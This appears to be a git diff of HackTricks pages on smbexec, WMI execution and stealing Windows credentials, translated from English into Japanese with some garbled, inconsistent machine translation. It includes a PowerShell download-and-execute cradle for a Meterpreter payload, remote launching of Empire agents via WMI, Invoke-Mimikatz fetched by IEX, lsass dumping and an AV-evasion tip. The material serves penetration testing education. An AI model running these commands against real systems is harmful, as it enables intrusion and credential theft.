redirects the stdout and stderr to a Temp file, then executes the bat file and deletes it. Back on Kali, the Python script then pulls the output file via SMB and displays the contents in our "pseudo-shell". For every command we type into our "shell", a new service is created and the process is repeated. This is why it doesn't need to drop a binary, it just executes each desired command as a new service. Definitely more stealthy, but as we saw, an event log is created for every command executed. Still a very clever way to get a non-interactive "shell"! +サービスファイル名には、実行するコマンド文字列が含まれています(%COMSPEC%はcmd.exeの絶対パスを指します)。コマンドをバッチファイルにエコーし、stdoutとstderrを一時ファイルにリダイレクトし、バッチファイルを実行して削除します。Kaliに戻ると、PythonスクリプトがSMB経由で出力ファイルを取得し、内容を「疑似シェル」に表示します。私たちの「シェル」に入力するたびに、新しいサービスが作成され、プロセスが繰り返されます。これは、バイナリをドロップする必要がないため、各所望のコマンドを新しいサービスとして実行するだけです。確かによりステルス性が高いですが、実行されたコマンドごとにイベントログが作成されることに注意してください。非対話型の「シェル」を取得する非常に賢い方法です! -## Manual SMBExec +## 手動SMBExec -**Or executing commands via services** +**またはサービスを介してコマンドを実行する** -As smbexec demonstrated, it's possible to execute commands directly from service binPaths instead of needing a binary. This can be a useful trick to keep in your back pocket if you need to just execute one arbitrary command on a target Windows machine. As a quick example, let's get a Meterpreter shell using a remote service _without_ a binary. - -We'll use Metasploit's `web_delivery` module and choose a PowerShell target with a reverse Meterpreter payload. The listener is set up and it tells us the command to execute on the target machine: +smbexecが示したように、バイナリが必要なく、サービスのbinPathから直接コマンドを実行することができます。これは、ターゲットのWindowsマシンで単に任意のコマンドを実行する必要がある場合に便利なトリックです。簡単な例として、バイナリのないリモートサービスを使用してMeterpreterシェルを取得しましょう。 +Metasploitの`web_delivery`モジュールを使用し、逆向きのMeterpreterペイロードを持つPowerShellターゲットを選択します。リスナーが設定され、ターゲットマシンで実行するコマンドが表示されます: ``` -powershell.exe -nop -w hidden -c $k=new-object net.webclient;$k.proxy=[Net.WebRequest]::GetSystemWebProxy();$k.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $k.downloadstring('http://10.9.122.8:8080/AZPLhG9txdFhS9n'); +powershell.exe -nop -w hidden -c $k=new-object net.webclient;$k.proxy=[Net.WebRequest]::GetSystemWebProxy();$k.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $k.downloadstring('http://10.9.122.8:8080/AZPLhG9txdFhS9n'); ``` - -From our Windows attack box, we create a remote service ("metpsh") and set the binPath to execute cmd.exe with our payload: +Windowsの攻撃ボックスから、リモートサービス("metpsh")を作成し、binPathを使用してペイロードを実行するためにcmd.exeを設定します。 ![](../../.gitbook/assets/sc\_psh\_create.png) -And then start it: +そして、それを起動します。 ![](../../.gitbook/assets/sc\_psh\_start.png) -It errors out because our service doesn't respond, but if we look at our Metasploit listener we see that the callback was made and the payload executed. +サービスが応答しないためエラーが発生しますが、Metasploitのリスナーを確認すると、コールバックが行われ、ペイロードが実行されたことがわかります。 -All the info was extracted from here: [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/) +すべての情報はここから抽出されました:[https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksのリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudのリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
diff --git a/windows-hardening/ntlm/winrm.md b/windows-hardening/ntlm/winrm.md index bf6021c46..1a9bd2782 100644 --- a/windows-hardening/ntlm/winrm.md +++ b/windows-hardening/ntlm/winrm.md @@ -4,32 +4,32 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 -For information about [**WinRM read this page**](../../network-services-pentesting/5985-5986-pentesting-winrm.md). +[**WinRMに関する情報はこちらのページを読んでください**](../../network-services-pentesting/5985-5986-pentesting-winrm.md).
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
diff --git a/windows-hardening/ntlm/wmicexec.md b/windows-hardening/ntlm/wmicexec.md index 2d5ab36b3..39a5c9e3c 100644 --- a/windows-hardening/ntlm/wmicexec.md +++ b/windows-hardening/ntlm/wmicexec.md @@ -4,31 +4,30 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。** -## How Does it works +## 動作原理 -Wmi allows to open process in hosts where you know username/(password/Hash). Then, Wmiexec uses wmi to execute each command that is asked to execute (this is why Wmicexec gives you semi-interactive shell). +Wmiは、ユーザー名/(パスワード/ハッシュ)がわかるホストでプロセスを開くことができます。その後、Wmiexecは、実行する各コマンドを実行するためにwmiを使用します(これがWmicexecが半対話型シェルを提供する理由です)。 -**dcomexec.py:** This script gives a semi-interactive shell similar to wmiexec.py, but using different DCOM endpoints (ShellBrowserWindow DCOM object). Currently, it supports MMC20. Application, Shell Windows and Shell Browser Window objects. (from [here](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)) +**dcomexec.py:** このスクリプトは、異なるDCOMエンドポイント(ShellBrowserWindow DCOMオブジェクト)を使用して、wmiexec.pyと似た半対話型シェルを提供します。現在、MMC20.アプリケーション、Shell Windows、およびShell Browser Windowオブジェクトをサポートしています([ここから](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/))。 -## WMI Basics +## WMIの基礎 -### Namespace - -WMI is divided into a directory-style hierarchy, the \root container, with other directories under \root. These "directory paths" are called namespaces.\ -List namespaces: +### 名前空間 +WMIは、\rootコンテナと呼ばれるディレクトリスタイルの階層で分割されており、\rootの下に他のディレクトリがあります。これらの「ディレクトリパス」は名前空間と呼ばれます。\ +名前空間の一覧: ```bash #Get Root namespaces gwmi -namespace "root" -Class "__Namespace" | Select Name @@ -39,36 +38,34 @@ Get-WmiObject -Class "__Namespace" -Namespace "Root" -List -Recurse 2> $null | s #List namespaces inside "root\cimv2" Get-WmiObject -Class "__Namespace" -Namespace "root\cimv2" -List -Recurse 2> $null | select __Namespace | sort __Namespace ``` +以下のコマンドを使用して、名前空間のクラスをリストします: -List classes of a namespace with: +```plaintext +wmic /namespace:\\root\cimv2 CLASS __NAMESPACE +``` +このコマンドは、指定した名前空間内のクラスを表示します。 ```bash gwmwi -List -Recurse #If no namespace is specified, by default is used: "root\cimv2" gwmi -Namespace "root/microsoft" -List -Recurse ``` +### **クラス** -### **Classes** - -The WMI class name eg: win32\_process is a starting point for any WMI action. We always need to know a Class Name and the Namespace where it is located.\ -List classes starting with `win32`: - +WMIクラス名(例:win32\_process)は、WMIアクションの出発点です。常にクラス名とその場所である名前空間を知る必要があります。\ +`win32`で始まるクラスの一覧を表示します。 ```bash Get-WmiObject -Recurse -List -class win32* | more #If no namespace is specified, by default is used: "root\cimv2" gwmi -Namespace "root/microsoft" -List -Recurse -Class "MSFT_MpComput*" ``` - -Call a class: - +クラスを呼び出す: ```bash #When you don't specify a namespaces by default is "root/cimv2" Get-WmiObject -Class win32_share Get-WmiObject -Namespace "root/microsoft/windows/defender" -Class MSFT_MpComputerStatus ``` +### メソッド -### Methods - -WMI classes have one or more functions that can be executed. These functions are called methods. - +WMIクラスには、実行できる1つ以上の関数があります。これらの関数はメソッドと呼ばれます。 ```bash #Load a class using [wmiclass], leist methods and call one $c = [wmiclass]"win32_share" @@ -84,13 +81,11 @@ Get-WmiObject -Query 'Select * From Meta_Class WHERE __Class LIKE "win32%"' | Wh #Call create method from win32_share class Invoke-WmiMethod -Class win32_share -Name Create -ArgumentList @($null, "Description", $null, "Name", $null, "c:\share\path",0) ``` +## WMI列挙 -## WMI Enumeration - -### Check WMI service - -This how you can check if WMI service is running: +### WMIサービスの確認 +WMIサービスが実行されているかどうかを確認する方法は次の通りです: ```bash #Check if WMI service is running Get-Service Winmgmt @@ -101,76 +96,105 @@ Running Winmgmt Windows Management Instrumentation #From CMD net start | findstr "Instrumentation" ``` +### システム情報 -### System Information +To obtain system information using WMIC, you can use the following command: +```plaintext +wmic os get Caption, Version, OSArchitecture, Manufacturer, BuildNumber +``` + +This command will retrieve the following information: + +- Caption: The name of the operating system. +- Version: The version number of the operating system. +- OSArchitecture: The architecture of the operating system (32-bit or 64-bit). +- Manufacturer: The manufacturer of the operating system. +- BuildNumber: The build number of the operating system. + +By running this command, you will be able to gather important system information that can be useful for various purposes, such as troubleshooting or system analysis. ```bash Get-WmiObject -ClassName win32_operatingsystem | select * | more ``` +### プロセス情報 -### Process Information +To obtain information about running processes on a Windows system, you can use the `wmic` command. This command allows you to query various attributes of processes, such as their process ID (PID), parent process ID (PPID), command line arguments, and more. +To list all running processes, you can run the following command: + +```plaintext +wmic process get Caption,ProcessId,CommandLine +``` + +This will display the name of the process (`Caption`), its process ID (`ProcessId`), and the command line arguments used to launch the process (`CommandLine`). + +You can also filter the results based on specific criteria. For example, to find all processes with a specific name, you can use the `where` clause: + +```plaintext +wmic process where "Name='process_name'" get Caption,ProcessId,CommandLine +``` + +Replace `process_name` with the name of the process you want to find. + +Additionally, you can sort the results based on a specific attribute. For example, to sort the processes by their process ID in ascending order, you can use the `order by` clause: + +```plaintext +wmic process get Caption,ProcessId,CommandLine /order by ProcessId +``` + +This will display the processes sorted by their process ID in ascending order. + +By using the `wmic` command, you can gather valuable information about running processes on a Windows system, which can be useful for troubleshooting, monitoring, or security purposes. ```bash Get-WmiObject win32_process | Select Name, Processid ``` - -From an attacker's perspective, WMI can be very valuable in enumerating sensitive information about a system or the domain. - +攻撃者の視点から見ると、WMIはシステムやドメインに関する機密情報を列挙するために非常に価値があります。 ``` -wmic computerystem list full /format:list -wmic process list /format:list -wmic ntdomain list /format:list -wmic useraccount list /format:list -wmic group list /format:list -wmic sysaccount list /format:list +wmic computerystem list full /format:list +wmic process list /format:list +wmic ntdomain list /format:list +wmic useraccount list /format:list +wmic group list /format:list +wmic sysaccount list /format:list ``` ```bash - Get-WmiObject Win32_Processor -ComputerName 10.0.0.182 -Credential $cred +Get-WmiObject Win32_Processor -ComputerName 10.0.0.182 -Credential $cred ``` +## **手動リモートWMIクエリ** -## **Manual Remote WMI Querying** - -For example, here's a very stealthy way to discover local admins on a remote machine (note that domain is the computer name): - +たとえば、リモートマシン上でローカル管理者を発見する非常にステルスな方法があります(ドメインはコンピュータ名であることに注意してください): ```bash -wmic /node:ordws01 path win32_groupuser where (groupcomponent="win32_group.name=\"administrators\",domain=\"ORDWS01\"") +wmic /node:ordws01 path win32_groupuser where (groupcomponent="win32_group.name=\"administrators\",domain=\"ORDWS01\"") ``` - -Another useful oneliner is to see who is logged on to a machine (for when you're hunting admins): - +もう一つ便利なワンライナーは、マシンにログインしているユーザーを確認することです(管理者を追跡する場合に使用します): ``` -wmic /node:ordws01 path win32_loggedonuser get antecedent +wmic /node:ordws01 path win32_loggedonuser get antecedent ``` - -`wmic` can even read nodes from a text file and execute the command on all of them. If you have a text file of workstations: - +`wmic`は、テキストファイルからノードを読み取り、それら全てにコマンドを実行することもできます。もしワークステーションのテキストファイルがある場合は、以下のように実行できます。 ``` -wmic /node:@workstations.txt path win32_loggedonuser get antecedent +wmic /node:@workstations.txt path win32_loggedonuser get antecedent ``` - -**We'll remotely create a process over WMI to execute a Empire agent:** - +**WMIを介してリモートでプロセスを作成し、Empireエージェントを実行します。** ```bash -wmic /node:ordws01 /user:CSCOU\jarrieta path win32_process call create "**empire launcher string here**" +wmic /node:ordws01 /user:CSCOU\jarrieta path win32_process call create "**empire launcher string here**" ``` +実行が成功しました(ReturnValue = 0)。そして、1秒後にEmpireリスナーがそれをキャッチします。プロセスIDがWMIが返したものと同じであることに注意してください。 -We see it executed successfully (ReturnValue = 0). And a second later our Empire listener catches it. Note the process ID is the same as WMI returned. - -All this information was extracted from here: [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/) +この情報はここから抽出されました:[https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
diff --git a/windows-hardening/stealing-credentials/README.md b/windows-hardening/stealing-credentials/README.md index 8ea87457f..2230c3df0 100644 --- a/windows-hardening/stealing-credentials/README.md +++ b/windows-hardening/stealing-credentials/README.md @@ -1,29 +1,28 @@ -# Stealing Windows Credentials +# Windowsの資格情報の盗み出し
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-[**Follow HackenProof**](https://bit.ly/3xrrDrL) **to learn more about web3 bugs** +[**HackenProofをフォロー**](https://bit.ly/3xrrDrL) **して、web3のバグについてもっと学びましょう** -🐞 Read web3 bug tutorials +🐞 web3のバグチュートリアルを読む -🔔 Get notified about new bug bounties +🔔 新しいバグ報奨金について通知を受ける -💬 Participate in community discussions - -## Credentials Mimikatz +💬 コミュニティのディスカッションに参加する +## Mimikatzによる資格情報の模倣 ```bash #Elevate Privileges to extract the credentials privilege::debug #This should give am error if you are Admin, butif it does, check if the SeDebugPrivilege was removed from Admins @@ -37,23 +36,19 @@ lsadump::sam #One liner mimikatz "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit" ``` - -**Find other things that Mimikatz can do in** [**this page**](credentials-mimikatz.md)**.** +**他のMimikatzができることについては、[このページ](credentials-mimikatz.md)を参照してください。** ### Invoke-Mimikatz - ```bash IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1') Invoke-Mimikatz -DumpCreds #Dump creds from memory Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"' ``` +[**ここでいくつかの可能な資格情報の保護方法について学びましょう。**](credentials-protections.md) **これらの保護方法は、Mimikatzが一部の資格情報を抽出するのを防ぐことができます。** -[**Learn about some possible credentials protections here.**](credentials-protections.md) **This protections could prevent Mimikatz from extracting some credentials.** - -## Credentials with Meterpreter - -Use the [**Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **that** I have created to **search for passwords and hashes** inside the victim. +## Meterpreterを使用した資格情報 +被害者の中にあるパスワードとハッシュを検索するために、[**Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **を使用してください。**私が作成したものです。 ```bash #Credentials from SAM post/windows/gather/smart_hashdump @@ -70,15 +65,14 @@ mimikatz_command -f "sekurlsa::logonpasswords" mimikatz_command -f "lsadump::lsa /inject" mimikatz_command -f "lsadump::sam" ``` - -## Bypassing AV +## AV回避 ### Procdump + Mimikatz -As **Procdump from** [**SysInternals** ](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite)**is a legitimate Microsoft tool**, it's not detected by Defender.\ -You can use this tool to **dump the lsass process**, **download the dump** and **extract** the **credentials locally** from the dump. +**SysInternalsのProcdump**は、**Microsoftの正規ツール**であるため、Defenderに検出されません。\ +このツールを使用して、**lsassプロセスをダンプ**し、**ダンプをダウンロード**して、**ダンプからローカルにクレデンシャルを抽出**することができます。 -{% code title="Dump lsass" %} +{% code title="lsassのダンプ" %} ```bash #Local C:\procdump.exe -accepteula -ma lsass.exe lsass.dmp @@ -86,9 +80,7 @@ C:\procdump.exe -accepteula -ma lsass.exe lsass.dmp net use Z: https://live.sysinternals.com Z:\procdump.exe -accepteula -ma lsass.exe lsass.dmp ``` -{% endcode %} - -{% code title="Extract credentials from the dump" %} +{% code title="ダンプから資格情報を抽出する" %} ```c //Load the dump mimikatz # sekurlsa::minidump lsass.dmp @@ -97,113 +89,150 @@ mimikatz # sekurlsa::logonPasswords ``` {% endcode %} -This process is done automatically with [SprayKatz](https://github.com/aas-n/spraykatz): `./spraykatz.py -u H4x0r -p L0c4L4dm1n -t 192.168.1.0/24` +このプロセスは、[SprayKatz](https://github.com/aas-n/spraykatz)を使用して自動的に行われます:`./spraykatz.py -u H4x0r -p L0c4L4dm1n -t 192.168.1.0/24` -**Note**: Some **AV** may **detect** as **malicious** the use of **procdump.exe to dump lsass.exe**, this is because they are **detecting** the string **"procdump.exe" and "lsass.exe"**. So it is **stealthier** to **pass** as an **argument** the **PID** of lsass.exe to procdump **instead o**f the **name lsass.exe.** +**注意**: 一部の**AV**は、**procdump.exeを使用してlsass.exeをダンプする**ことを**悪意のあるもの**として**検出**する場合があります。これは、彼らが**"procdump.exe"と"lsass.exe"**という文字列を**検出**しているためです。そのため、lsass.exeの**名前**の代わりに、lsass.exeの**PID**をprocdumpに**引数**として**渡す**ことが**ステルス**です。 -### Dumping lsass with **comsvcs.dll** - -There’s a DLL called **comsvcs.dll**, located in `C:\Windows\System32` that **dumps process memory** whenever they **crash**. This DLL contains a **function** called **`MiniDumpW`** that is written so it can be called with `rundll32.exe`.\ -The first two arguments are not used, but the third one is split into 3 parts. First part is the process ID that will be dumped, second part is the dump file location, and third part is the word **full**. There is no other choice.\ -Once these 3 arguments has been parsed, 